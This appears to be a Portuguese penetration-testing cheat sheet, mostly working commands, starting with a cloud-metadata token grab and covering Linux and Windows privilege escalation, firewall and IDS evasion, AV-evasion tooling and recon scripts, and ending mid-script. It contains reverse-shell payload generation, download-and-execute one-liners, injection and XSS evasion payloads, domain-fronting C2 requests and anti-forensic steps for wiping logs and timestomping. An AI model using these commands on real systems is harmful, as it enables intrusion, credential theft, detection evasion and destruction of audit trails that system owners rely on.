curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Escalação no Linux

Enumeração do Sistema

Informações Básicas

# Informações do sistema
uname -a
hostnamectl
cat /etc/os-release
cat /proc/version

# Usuário atual e grupos
id
whoami
groups

# Outros usuários  
cat /etc/passwd
cat /etc/group
w
who

Processos e Serviços

# Processos em execução
ps aux
ps -ef
pstree

# Serviços ativos
systemctl list-units --type=service
service --status-all

# Conexões de rede
netstat -antup
ss -tunlp

Sistema de Arquivos

# Verificar montagens
mount
df -h
cat /etc/fstab

# Arquivos interessantes
find / -name "*.conf" 2>/dev/null
find / -name "*.log" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*secret*" 2>/dev/null

# Arquivos recentemente modificados
find / -mtime -1 -type f 2>/dev/null

Exploração SUDO

Verificar Privilégios SUDO

# Listar comandos permitidos
sudo -l

# Exemplos de saída:
# (ALL) NOPASSWD: /bin/cp
# (root) /usr/bin/vim
# (ALL) ALL

Exploração de Comandos SUDO

# vim/nano - editor com escape para shell
sudo vim -c ':!/bin/bash'
sudo nano -T 4 -s /bin/bash

# find - executar comandos
sudo find /etc -name "passwd" -exec /bin/bash \;

# awk - interpreter
sudo awk 'BEGIN {system("/bin/bash")}'

# python/perl - interpreters
sudo python -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'

# less/more - pagers
sudo less /etc/passwd
!/bin/bash

GTFOBins

# Recurso online para bypass:
# https://gtfobins.github.io/

# Exemplos comuns:
# cp - copiar /etc/shadow
sudo cp /etc/shadow /tmp/shadow

# tar - preservar permissões
sudo tar cf /dev/null file --checkpoint=1 --checkpoint-action=exec=/bin/bash

# zip - executar comando
sudo zip file.zip file -T --unzip-command="sh -c /bin/bash"

SUID/SGID Binaries

Encontrar Binários SUID

# SUID (Set User ID)
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# SGID (Set Group ID)  
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Ambos
find / -perm -6000 -type f 2>/dev/null

Exploração de SUID Comuns

# /usr/bin/passwd
echo "user:$(openssl passwd -1 -salt user pass):0:0:user:/root:/bin/bash" >> /etc/passwd

# /bin/cp (se SUID)
cp /etc/passwd /tmp/passwd.bak
echo "root2:$(openssl passwd -1 pass):0:0:root:/root:/bin/bash" >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd

# /usr/bin/find
find /etc -name "passwd" -exec whoami \;
find /etc -name "passwd" -exec bash -p \;

# /usr/bin/python
python -c 'import os; os.setuid(0); os.system("/bin/bash")'

Verificar Capabilities

# Listar capabilities
getcap -r / 2>/dev/null

# Exemplos perigosos:
# cap_setuid+ep - pode alterar UID
# cap_dac_override+ep - bypass permissões de arquivo

# Explorar cap_setuid
./binary -c 'import os; os.setuid(0); os.system("/bin/bash")'

Exploits de Kernel

Dirty COW (CVE-2016-5195)

# Verificar vulnerabilidade
uname -r  # < 4.8.3

# Compilar exploit
gcc -pthread dirty.c -o dirty -lcrypt

# Executar
./dirty mypassword

PwnKit (CVE-2021-4034)

# Verificar polkit vulnerable
ls -la /usr/bin/pkexec

# Compilar exploit
gcc pwnkit.c -o pwnkit

# Executar
./pwnkit

Linux Exploit Suggester

# Download e execução
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

# Output com exploits potenciais
# [+] [CVE-2016-5195] dirtycow
# [+] [CVE-2021-4034] pwnkit

Escalação no Windows

Enumeração Windows

Informações do Sistema

# Informações básicas
systeminfo
whoami /all
echo %USERNAME%
echo %COMPUTERNAME%

# Usuários e grupos
net user
net localgroup
net localgroup administrators

# Patches instalados
wmic qfe list
systeminfo | findstr "Hotfix"

Processos e Serviços

# Processos em execução
tasklist /v
wmic process list full

# Serviços
sc query
net start
wmic service list brief

# Conexões de rede
netstat -an
netstat -anb

Arquivos e Diretórios

# Buscar arquivos interessantes
dir /s /b "password*"
dir /s /b "config*"
dir /s /b "*.txt"

# Arquivos recentes
forfiles /p C:\ /s /m *.* /d -1 /c "cmd /c echo @path @fdate"

# Verificar permissões
icacls "C:\Program Files"
accesschk.exe -uwqs Users c:\*.*

Exploração de Serviços

Unquoted Service Paths

# Encontrar serviços vulneráveis
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Verificar permissões de escrita
icacls "C:\Program Files\Service\"

# Criar exploit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o service.exe

# Copiar para local vulnerável
copy service.exe "C:\Program Files\Service.exe"

Weak Service Permissions

# Verificar permissões de serviços
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *

# Modificar configuração do serviço
sc config vulnerable_service binpath= "C:\windows\temp\shell.exe"

# Reiniciar serviço
net stop vulnerable_service
net start vulnerable_service

AlwaysInstallElevated

# Verificar configuração
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Criar MSI malicioso
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f msi -o shell.msi

# Instalar com privilégios
msiexec /quiet /qn /i shell.msi

Registry e AutoRuns

AutoRuns Vulneráveis

# Verificar autoruns
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Verificar permissões nos executáveis
accesschk.exe -dqv "C:\Program Files\AutoRun\"

# Substituir executável
copy shell.exe "C:\Program Files\AutoRun\program.exe"

Registry Secrets

# Buscar senhas no registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# VNC passwords
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password

# AutoLogon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Token Impersonation

SeImpersonatePrivilege

# Verificar privilégios
whoami /priv

# Se SeImpersonatePrivilege estiver habilitado:
# Use JuicyPotato, PrintSpoofer ou similar

# JuicyPotato
JuicyPotato.exe -l 1337 -p C:\windows\system32\cmd.exe -a "/c whoami > C:\temp\output.txt" -t *

# PrintSpoofer  
PrintSpoofer.exe -i -c cmd

Hot Potato Attack

# Tater (PowerShell)
Import-Module .\Tater.ps1
Invoke-Tater -Command "net localgroup administrators user /add"

# Potato.exe
Potato.exe -ip SERVIDOR_IP -cmd "cmd.exe /c whoami"

Ferramentas de Automação

LinPEAS

# Download e execução Linux
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Execução local
./linpeas.sh

# Salvar output
./linpeas.sh > linpeas_output.txt

WinPEAS

# Download e execução Windows
powershell -c "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')"

# Executável
winPEAS.exe

# Com output colorido
winPEAS.exe cmd

PowerUp (PowerShell)

# Import e execução
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# Verificações específicas
Invoke-ServiceAbuse -Name vulnerable_service
Find-PathDLLHijack

BeRoot

# Windows
beroot.exe

# Linux  
python beroot.py

# Output detalhado
beroot.exe -v
Desafios de Firewall

Firewalls podem bloquear conexões de saída, filtrar protocolos específicos, ou detectar padrões maliciosos. É necessário adaptar técnicas de evasão baseadas na configuração específica do ambiente alvo.

Tipos de Firewall

Packet Filtering

Filtra pacotes baseado em regras de IP, porta e protocolo. Mais básico e fácil de bypass.

  • Analisa headers IP/TCP/UDP
  • Não inspeciona conteúdo
  • Stateless (sem contexto)

Stateful Inspection

Mantém estado das conexões, monitora sequência de pacotes e contexto de sessão.

  • Rastreia estados de conexão
  • Permite respostas automáticas
  • Mais difícil de bypass

Application Layer

Inspeciona conteúdo da aplicação, pode detectar protocolos e payloads maliciosos.

  • Deep Packet Inspection (DPI)
  • Análise de protocolos específicos
  • Detecção de anomalias

Técnicas de Bypass

Manipulação de Portas

Source Port Spoofing

# Nmap com source port específica
nmap -g 53 SERVIDOR_IP    # DNS source port
nmap -g 80 SERVIDOR_IP    # HTTP source port
nmap -g 443 SERVIDOR_IP   # HTTPS source port
nmap --source-port 22 SERVIDOR_IP  # SSH source port

# Hping3 com source port
hping3 -S -p 22 -s 53 SERVIDOR_IP

# NetCat bind shell em porta comum
nc -lvnp 80    # Listener na porta 80 (HTTP)
nc -lvnp 443   # Listener na porta 443 (HTTPS)

Port Hopping

# Script para testar múltiplas portas
for port in 80 443 53 22 21 25 110 143 993 995; do
    nc -zv SERVIDOR_IP $port
done

# Metasploit com múltiplas portas
use auxiliary/scanner/portscan/tcp
set RHOSTS SERVIDOR_IP
set PORTS 80,443,53,22,8080,8443
run

ACK Scanning

# Nmap ACK scan para detectar firewall
nmap -sA SERVIDOR_IP

# Window scan
nmap -sW SERVIDOR_IP

# Maimon scan
nmap -sM SERVIDOR_IP

Bypass de Protocolo

HTTP Tunneling

# HTTPTunnel
# Servidor (fora do firewall)
hts -F SERVIDOR_IP:22 80

# Cliente (dentro do firewall)  
htc -F 8080 external_server:80
ssh -p 8080 user@localhost

# Chisel HTTP tunnel
# Servidor
chisel server -p 8080 --reverse

# Cliente
chisel client http://server:8080 R:2222:localhost:22

DNS Tunneling

# Iodine DNS tunnel
# Servidor (authoritative DNS)
iodined -f -c -P password tunnel.domain.com

# Cliente
iodine -f -P password tunnel.domain.com

# DNSCat2
# Servidor
dnscat2 --dns "domain=tunnel.com,host=0.0.0.0,port=53"

# Cliente  
dnscat2 tunnel.com

ICMP Tunneling

# PingTunnel
# Servidor
ptunnel -x password

# Cliente
ptunnel -p server_ip -lp 8080 -da target_ip -dp 22 -x password

# Usar túnel
ssh -p 8080 user@localhost

# ICMPTunnel
# Servidor
python icmptunnel.py -s

# Cliente
python icmptunnel.py -c server_ip

Fragmentação de Pacotes

Fragmentação IP

# Nmap com fragmentação
nmap -f SERVIDOR_IP              # Fragmentação simples
nmap -ff SERVIDOR_IP             # Fragmentação máxima
nmap --mtu 24 SERVIDOR_IP        # MTU customizada (múltiplo de 8)

# Hping3 fragmentado
hping3 -S -p 80 -f SERVIDOR_IP

# Fragrouter para fragmentação avançada
fragrouter -B1 SERVIDOR_IP

TCP Segmentation

# Nmap com segmentação TCP
nmap --data-length 25 SERVIDOR_IP

# Scapy para pacotes customizados
from scapy.all import *
packet = IP(dst="SERVIDOR_IP")/TCP(dport=80,flags="S")/"A"*100
send(packet)

Túneis e Proxies

SSH Tunneling

# Local port forward
ssh -L 8080:internal_server:80 user@jump_server

# Remote port forward  
ssh -R 8080:localhost:80 user@remote_server

# Dynamic SOCKS proxy
ssh -D 1080 user@jump_server

# ProxyChains com SOCKS
proxychains nmap SERVIDOR_IP

Proxy através de HTTP

# Squid proxy abuse
curl --proxy http://proxy:3128 http://internal_server/

# HTTP CONNECT tunnel
nc proxy_server 8080
CONNECT internal_server:22 HTTP/1.1
Host: internal_server:22

# Burp Suite como proxy
# Configure browser para usar 127.0.0.1:8080

VPN e SSL

# OpenVPN através de proxy
openvpn --config client.ovpn --http-proxy proxy:8080

# Stunnel para SSL wrapping
# stunnel.conf:
[ssh]
accept = 443
connect = 22
cert = server.crt
key = server.key

# Cliente conecta via SSL
openssl s_client -connect server:443

Evasão com Scapy

Criação de Pacotes Customizados

#!/usr/bin/env python3
from scapy.all import *
import random

# Pacote com source port randômica
def random_scan(target, port):
    src_port = random.randint(1024, 65535)
    packet = IP(dst=target)/TCP(sport=src_port, dport=port, flags="S")
    response = sr1(packet, timeout=2, verbose=0)
    
    if response and response[TCP].flags == 18:  # SYN-ACK
        return True
    return False

# Fragmentação manual
def fragment_scan(target, port):
    # Primeiro fragmento
    frag1 = IP(dst=target, flags="MF", frag=0)/TCP(sport=12345, dport=port)[:8]
    # Segundo fragmento  
    frag2 = IP(dst=target, flags=0, frag=1)/TCP(sport=12345, dport=port)[8:]
    
    send(frag1)
    send(frag2)

# Slow scan para evitar detecção
def slow_scan(targets, ports):
    for target in targets:
        for port in ports:
            if random_scan(target, port):
                print(f"Port {port} open on {target}")
            time.sleep(random.uniform(1, 5))  # Delay randômico

Detecção de Firewall

Fingerprinting

# Wafw00f para Web Application Firewall
wafw00f https://target.com

# Nmap firewall detection
nmap -sA -p 80 SERVIDOR_IP    # ACK scan
nmap -sF -p 80 SERVIDOR_IP    # FIN scan  
nmap -sN -p 80 SERVIDOR_IP    # NULL scan

# TTL analysis
hping3 -c 1 -p 80 SERVIDOR_IP
hping3 -c 1 -p 81 SERVIDOR_IP

Response Analysis

# Análise de respostas
# FILTERED: Firewall dropping packets
# CLOSED: Port accessible but no service
# OPEN: Port accessible and service running

# Timing analysis
nmap -T0 SERVIDOR_IP    # Very slow
nmap -T5 SERVIDOR_IP    # Very fast

# Different responses may indicate firewall

IDS vs IPS

  • IDS (Intrusion Detection System): Monitora e alerta sobre atividades suspeitas
  • IPS (Intrusion Prevention System): Bloqueia ativamente tráfego malicioso
  • NIDS: Network-based IDS/IPS
  • HIDS: Host-based IDS/IPS

Métodos de Detecção

  • Signature-based: Busca por padrões conhecidos
  • Anomaly-based: Detecta desvios do comportamento normal
  • Behavioral: Analisa comportamento de usuários/sistemas
  • Heuristic: Usa algoritmos para detectar atividades suspeitas

Técnicas de Evasão

Controle de Timing e Rate

Slow Scanning

# Nmap com timing lento
nmap -T0 SERVIDOR_IP    # Paranoid (muito lento)
nmap -T1 SERVIDOR_IP    # Sneaky (lento)

# Delay customizado entre pacotes
nmap --scan-delay 5s SERVIDOR_IP
nmap --max-rate 1 SERVIDOR_IP

# Randomizar ordem dos alvos
nmap --randomize-hosts REDE_ALVO/24

Distributed Scanning

# Script para scan distribuído
#!/bin/bash
targets=("SERVIDOR_IP" "ATACANTE_IP1" "ATACANTE_IP2")
for target in "${targets[@]}"; do
    nmap -p 80 $target &
    sleep $(shuf -i 60-300 -n 1)  # Delay randômico
done

# Usar múltiplas máquinas
# Máquina 1: scan ALVO_IP-50
# Máquina 2: scan 10.0.0.51-100
# Máquina 3: scan ATACANTE_IP1-150

Time-based Evasion

# Scan durante horários específicos
# Evitar horários de trabalho (8h-17h)
current_hour=$(date +%H)
if [ $current_hour -lt 8 ] || [ $current_hour -gt 17 ]; then
    nmap REDE_ALVO/24
fi

# Scan em finais de semana
day=$(date +%u)  # 1=Monday, 7=Sunday
if [ $day -eq 6 ] || [ $day -eq 7 ]; then
    nmap REDE_ALVO/24
fi

Obfuscação de Payload

Encoding & Encryption

# Base64 encoding
echo "malicious_command" | base64
# bWFsaWNpb3VzX2NvbW1hbmQK

# URL encoding
echo "malicious_command" | xxd -p | sed 's/../%&/g'

# Hex encoding
echo -n "malicious_command" | xxd -p

# ROT13 encoding
echo "malicious_command" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Polymorphic Payloads

# MSFVenom com encoders
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe

# Múltiplos encoders
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=4444 -e x86/alpha_mixed -i 3 -e x86/shikata_ga_nai -i 5 -f exe

# Template injection para modificar signature
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -x template.exe -f exe

String Obfuscation

# PowerShell obfuscation
# Original: Invoke-Expression
$a = "Inv"; $b = "oke-Exp"; $c = "ression"
& ($a + $b + $c) $payload

# Character substitution
$cmd = "Invoke-Expression".Replace("o","0").Replace("e","3")

# Base64 PowerShell
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("Invoke-Expression"))
powershell -EncodedCommand $encoded

Evasão por Protocolo

HTTP Evasion

# Case manipulation
GET /admin HTTP/1.1
GET /Admin HTTP/1.1
GET /ADMIN HTTP/1.1

# Directory traversal variations
../../../etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd

# Unicode encoding
../../../etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fetc%u002fpasswd

SQL Injection Evasion

# Comment variations
' OR '1'='1' --
' OR '1'='1' #
' OR '1'='1' /*

# Space substitution
'/**/OR/**/'1'='1'
'+OR+'1'='1'
'%09OR%091=1'  # Tab character
'%0AOR%0A1=1'  # Newline

# Case manipulation
' oR '1'='1'
' Or '1'='1'
' uNiOn sElEcT

XSS Evasion

# Tag variations (EXEMPLO EDUCATIVO - NÃO EXECUTÁVEL)
&lt;script&gt;alert(1)&lt;/script&gt;
&lt;ScRiPt&gt;alert(1)&lt;/ScRiPt&gt;
&lt;img src=x onerror=alert(1)&gt;

# Encoding variations
&#60;script&#62;alert(1)&#60;/script&#62;
%3Cscript%3Ealert(1)%3C/script%3E
\x3Cscript\x3Ealert(1)\x3C/script\x3E

# Event handler alternatives
&lt;svg onload=alert(1)&gt;
&lt;body onload=alert(1)&gt;
&lt;img src=x onerror=alert(1)&gt;

Traffic Blending

Legitimate Traffic Mimicking

# User-Agent rotation
agents=("Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
        "Mozilla/5.0 (X11; Linux x86_64)")
        
for agent in "${agents[@]}"; do
    curl -H "User-Agent: $agent" http://target.com
    sleep 60
done

# Referrer spoofing
curl -H "Referer: https://google.com" http://target.com
curl -H "Referer: https://facebook.com" http://target.com

Session Management

# Cookie persistence
curl -c cookies.txt -b cookies.txt http://target.com/login
curl -c cookies.txt -b cookies.txt http://target.com/admin

# Session rotation
for i in {1..10}; do
    curl -c session_$i.txt http://target.com/page_$i
    sleep 30
done

Domain Fronting

# CloudFlare domain fronting
curl -H "Host: malicious.domain.com" https://legitimate.cloudflare.com

# AWS CloudFront
curl -H "Host: c2.domain.com" https://legitimate.cloudfront.net

# Google App Engine
curl -H "Host: evil.appspot.com" https://legitimate.googlesyndication.com

Ferramentas de Evasão

Veil Framework

# Instalar Veil
git clone https://github.com/Veil-Framework/Veil.git
cd Veil && ./config/setup.sh

# Usar Veil-Evasion
./Veil.py -t Evasion

# Payload categories:
# 1) Auxiliary modules
# 2) C# payloads  
# 3) Go payloads
# 4) PowerShell payloads
# 5) Python payloads

Invoke-Obfuscation

# PowerShell obfuscation
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

# Commands:
SET SCRIPTBLOCK {malicious_command}
TOKEN\ALL\1      # Obfuscate all tokens
ENCODING\1       # ASCII encoding
COMPRESS\1       # Gzip compression
LAUNCHER\1       # CMD launcher

Chameleon

# AV Evasion tool
python chameleon.py -f payload.exe -o evaded.exe

# Custom obfuscation
python chameleon.py -f payload.exe -e xor -k "MyKey123"

# Multiple encoding layers
python chameleon.py -f payload.exe -e base64,xor,rot13

Phantom-Evasion

# Multi-platform AV evasion
python phantom-evasion.py

# Options:
# 1) Windows modules
# 2) Linux modules  
# 3) OSX modules
# 4) Android modules

# Generate FUD executable
# Fully Undetectable payload generation

Anti-Forensics

Log Evasion

# Linux log cleaning
# Clear bash history
history -c
echo "" > ~/.bash_history

# Clear system logs
echo "" > /var/log/auth.log
echo "" > /var/log/syslog

# Log rotation manipulation
logrotate -f /etc/logrotate.conf

Windows Event Log

# Clear Windows event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# PowerShell log clearing
Clear-EventLog -LogName Security
Clear-EventLog -LogName System

# Disable logging temporarily
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable

Timestomping

# Linux timestamp manipulation
touch -r reference_file target_file
touch -t 202201010000 target_file

# Windows NTFS timestamp
timestomp.exe -v target.exe
timestomp.exe -z "01/01/2022 00:00:00" target.exe

# PowerShell timestamp change
$(Get-Item file.exe).lastwritetime = "01/01/2022 00:00:00"

Importância da Automação

Scripts personalizados permitem automatizar tarefas repetitivas, melhorar a eficiência durante testes de penetração e reduzir chances de erro humano. Também ajudam a evitar detecção por sistemas de defesa através de comportamentos customizados.

Scripts de Reconhecimento

Scripts Avançados do Sistema Desec v2.0

Coleção de scripts profissionais para testes de penetração e reconhecimento.

📋 Repositório: Todos os scripts estão disponíveis na pasta do github Desec 2.0 com documentação completa e exemplos de uso.

🔍 Web Reconnaissance - webrecon.sh

Scanner avançado de diretórios e arquivos web com busca recursiva.

# Uso básico
./webrecon.sh http://example.com wordlist.txt

# Com extensões e verboso
./webrecon.sh -e "php,html,txt" -v http://site.com.br words.txt

# Busca recursiva com profundidade
./webrecon.sh -r -d 2 -f json http://example.com/admin wordlist.txt

# Características:
# ✓ Busca recursiva em diretórios
# ✓ Headers HTTP customizáveis
# ✓ Múltiplas extensões
# ✓ Controle de profundidade
# ✓ Saída em JSON, XML, CSV

🔓 Port Scanner - ScanPort.sh

Scanner de portas completo com múltiplas técnicas e identificação de serviços.

# Scan básico
./ScanPort.sh ALVO_IP

# Scan completo com verboso
./ScanPort.sh -t full -v example.com

# Portas customizadas
./ScanPort.sh -t custom -p 80,443,8080-8090 target.com

# Modo stealth com saída JSON
./ScanPort.sh -m syn -s -f json target.com

# Tipos disponíveis:
# ✓ common - Portas mais comuns (rápido)
# ✓ full - Todas as portas (1-65535)
# ✓ top1000 - Top 1000 portas mais usadas
# ✓ custom - Portas específicas

🌐 Ping Sweep - PingSweepCorg.sh

Descoberta de hosts com múltiplos métodos e formatos de saída.

# Uso básico
./PingSweepCorg.sh REDE_ALVO

# Com fping e saída JSON
./PingSweepCorg.sh -m fping -f json 10.0.0

# Com nmap verboso
./PingSweepCorg.sh --method nmap --verbose 172.16.0

# Métodos disponíveis:
# ✓ ping - Comando ping tradicional
# ✓ fping - Scanner rápido para redes grandes
# ✓ nmap - Usando nmap host discovery
# ✓ arp - Busca por ARP (redes locais)

🔎 Subdomain Discovery - sublocationDireto.sh

Ferramenta para descoberta de subdomínios e DNS reverso.

# Descoberta de subdomínios
./sublocationDireto.sh example.com wordlist.txt

# Escolher modo:
# 1 - Busca direta de subdomínios
# 2 - Busca reversa por IPs

# Características:
# ✓ Busca direta e reversa
# ✓ Resolução de registros CNAME
# ✓ Suporte a ranges de IP
# ✓ Validação de DNS
# ✓ Relatórios detalhados

🔨 Port Knocking - knckport.sh

Scanner avançado de port knocking com múltiplas funcionalidades.

# Execução interativa
sudo ./knckport.sh

# Características:
# ✓ Descoberta automática de hosts ativos
# ✓ Sequências customizáveis de port knocking
# ✓ Verificação automática da porta alvo
# ✓ Relatórios detalhados com timestamps
# ✓ Suporte a múltiplos protocolos
# ✓ Logs de tentativas

📄 HTML Parser - ParsingHTML.sh

Extrator de links com resolução DNS e funcionalidades extras.

# Análise básica
./ParsingHTML.sh https://example.com

# Com emails e subdomínios
./ParsingHTML.sh -e -s -v https://target.com

# Características:
# ✓ Extração de emails (opcional)
# ✓ Descoberta de subdomínios
# ✓ Resolução DNS automática
# ✓ User-Agent customizável
# ✓ Relatórios formatados
# ✓ Análise de metadados

Scripts PowerShell

🖥️ Ping Sweep PowerShell

# PingSwep.sp1 - Ping Sweep para Windows
.\PingSwep.sp1 10.0.0

# Funcionalidades:
# ✓ Compatível com Windows PowerShell
# ✓ Scanner rápido de rede
# ✓ Output formatado
# ✓ Detecção de hosts ativos

🔍 Port Scanner PowerShell

# PortScanPowerShell.sp1 - Scanner básico
.\PortScanPowerShell.sp1 ALVO_IP

# Características:
# ✓ Scanner nativo do Windows
# ✓ Sem dependências externas
# ✓ Compatível com PowerShell 5.0+
# ✓ Output estruturado

Scripts Rápidos

PingSweepComRep.sh - Educacional

# Script educacional que mostra o processo
./PingSweepComRep.sh
# Digite a rede quando solicitado

# Características:
# ✓ Mostra cada passo do processo
# ✓ Ideal para aprendizado
# ✓ Saída detalhada

PingSweepSemRep.sh - Otimizado

# Versão rápida usando fping
./PingSweepSemRep.sh
# Digite a rede no formato x.x.x.0/24

# Características:
# ✓ Usa fping para velocidade
# ✓ Ideal para redes grandes
# ✓ Resultados instantâneos
💡 Dica: Todos os scripts da versão 2.0 incluem:
  • ✅ Estrutura modular com funções bem definidas
  • ✅ Validação robusta de entrada
  • ✅ Múltiplos formatos de saída (JSON, XML, CSV)
  • ✅ Execução paralela para melhor performance
  • ✅ Sistema de logging detalhado
  • ✅ Banners coloridos e interface melhorada
  • ✅ Help integrado e exemplos de uso
  • ✅ Tratamento de erros avançado

Instalação e Dependências

# Ubuntu/Debian
sudo apt-get install -y bash curl wget git nmap fping hping3 \
    netcat-openbsd dnsutils iputils-ping coreutils

# CentOS/RHEL  
sudo yum install -y bash curl wget git nmap fping hping3 \
    nc bind-utils iputils coreutils

# Tornar executáveis
chmod +x *.sh
chmod +x *.sp1

# Executar com privilégios quando necessário
sudo ./script.sh

Scripts de Descoberta de Rede

Network Scanner Avançado

#!/bin/bash
# Advanced Network Scanner
# Usage: ./netscan.sh REDE_ALVO/24

if [ "$#" -ne 1 ]; then
    echo "Usage: $0 "
    exit 1
fi

NETWORK=$1
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
OUTPUT_DIR="scan_$TIMESTAMP"
mkdir -p $OUTPUT_DIR

echo "[+] Starting network scan for $NETWORK"
echo "[+] Results will be saved in $OUTPUT_DIR"

# Host discovery
echo "[*] Phase 1: Host Discovery"
nmap -sn $NETWORK | grep "Nmap scan report" | awk '{print $5}' > $OUTPUT_DIR/live_hosts.txt

# Port scanning
echo "[*] Phase 2: Port Scanning"
while read host; do
    echo "Scanning $host..."
    nmap -sS -T4 -p- $host -oA $OUTPUT_DIR/${host}_portscan &
done < $OUTPUT_DIR/live_hosts.txt

wait

# Service detection
echo "[*] Phase 3: Service Detection"
while read host; do
    if [ -f "$OUTPUT_DIR/${host}_portscan.gnmap" ]; then
        ports=$(grep "open" $OUTPUT_DIR/${host}_portscan.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
        if [ ! -z "$ports" ]; then
            echo "Service detection on $host:$ports"
            nmap -sV -sC -p $ports $host -oA $OUTPUT_DIR/${host}_services &
        fi
    fi
done < $OUTPUT_DIR/live_hosts.txt

wait

# Generate summary
echo "[*] Generating summary..."
echo "=== Network Scan Summary ===" > $OUTPUT_DIR/summary.txt
echo "Scan Date: $(date)" >> $OUTPUT_DIR/summary.txt
echo "Network: $NETWORK" >> $OUTPUT_DIR/summary.txt
echo "Live Hosts: $(wc -l < $OUTPUT_DIR/live_hosts.txt)" >> $OUTPUT_DIR/summary.txt
echo "" >> $OUTPUT_DIR/summary.txt

while read host; do
    echo "Host: $host" >> $OUTPUT_DIR/summary.txt
    if [ -f "$OUTPUT_DIR/${host}_services.nmap" ]; then
        grep "open" $OUTPUT_DIR/${host}_services.nmap | head -10 >> $OUTPUT_DIR/summary.txt
    fi
    echo "" >> $OUTPUT_DIR/summary.txt
done < $OUTPUT_DIR/live_hosts.txt

echo "[+] Scan completed! Check $OUTPUT_DIR/summary.txt"

Smart Port Scanner

#!/bin/bash
# Smart Port Scanner with adaptive timing
# ./portscan.sh  [timing]

TARGET=$1
TIMING=${2:-3}  # Default timing 3

if [ -z "$TARGET" ]; then
    echo "Usage: $0  [timing 0-5]"
    exit 1
fi

# Common ports for quick scan
COMMON_PORTS="21,22,23,25,53,80,110,111,135,139,143,443,993,995,1723,3306,3389,5432,5900,8080"

echo "[+] Starting smart scan for $TARGET"

# Quick common ports scan
echo "[*] Quick scan on common ports..."
nmap -sS -T$TIMING -p $COMMON_PORTS $TARGET --open | grep "open" > temp_common.txt

if [ -s temp_common.txt ]; then
    echo "[+] Found open ports in quick scan:"
    cat temp_common.txt
    
    # Full port scan on active host
    echo "[*] Host appears active, performing full port scan..."
    nmap -sS -T$TIMING -p- $TARGET --open -oN full_scan_$TARGET.txt
    
    # Service detection on open ports
    OPEN_PORTS=$(grep -oP '\d+/tcp\s+open' full_scan_$TARGET.txt | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
    if [ ! -z "$OPEN_PORTS" ]; then
        echo "[*] Service detection on ports: $OPEN_PORTS"
        nmap -sV -sC -p $OPEN_PORTS $TARGET -oN services_$TARGET.txt
    fi
else
    echo "[-] No open ports found in quick scan"
    echo "[*] Trying stealth scan..."
    nmap -sS -T1 -p $COMMON_PORTS $TARGET --open -oN stealth_$TARGET.txt
fi

rm -f temp_common.txt
echo "[+] Scan completed for $TARGET"

Scripts de Enumeração Web

Web Fuzzer Inteligente

#!/bin/bash
# Intelligent Web Directory Fuzzer
# ./webfuzz.sh 

URL=$1
THREADS=20
USER_AGENT="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

if [ -z "$URL" ]; then
    echo "Usage: $0 "
    echo "Example: $0 https://example.com"
    exit 1
fi

# Create output directory
OUTPUT_DIR="webfuzz_$(echo $URL | sed 's|https\?://||' | sed 's|/.*||')_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR

echo "[+] Starting web enumeration for $URL"
echo "[+] Output directory: $OUTPUT_DIR"

# Function to test URL
test_url() {
    local path=$1
    local full_url="$URL/$path"
    
    response=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" \
        -H "User-Agent: $USER_AGENT" \
        --max-time 10 \
        "$full_url" 2>/dev/null)
    
    code=$(echo $response | cut -d':' -f1)
    size=$(echo $response | cut -d':' -f2)
    
    case $code in
        200|301|302|403)
            echo "$code:$size:$full_url" >> $OUTPUT_DIR/found.txt
            echo "[+] $code - $full_url ($size bytes)"
            ;;
        401)
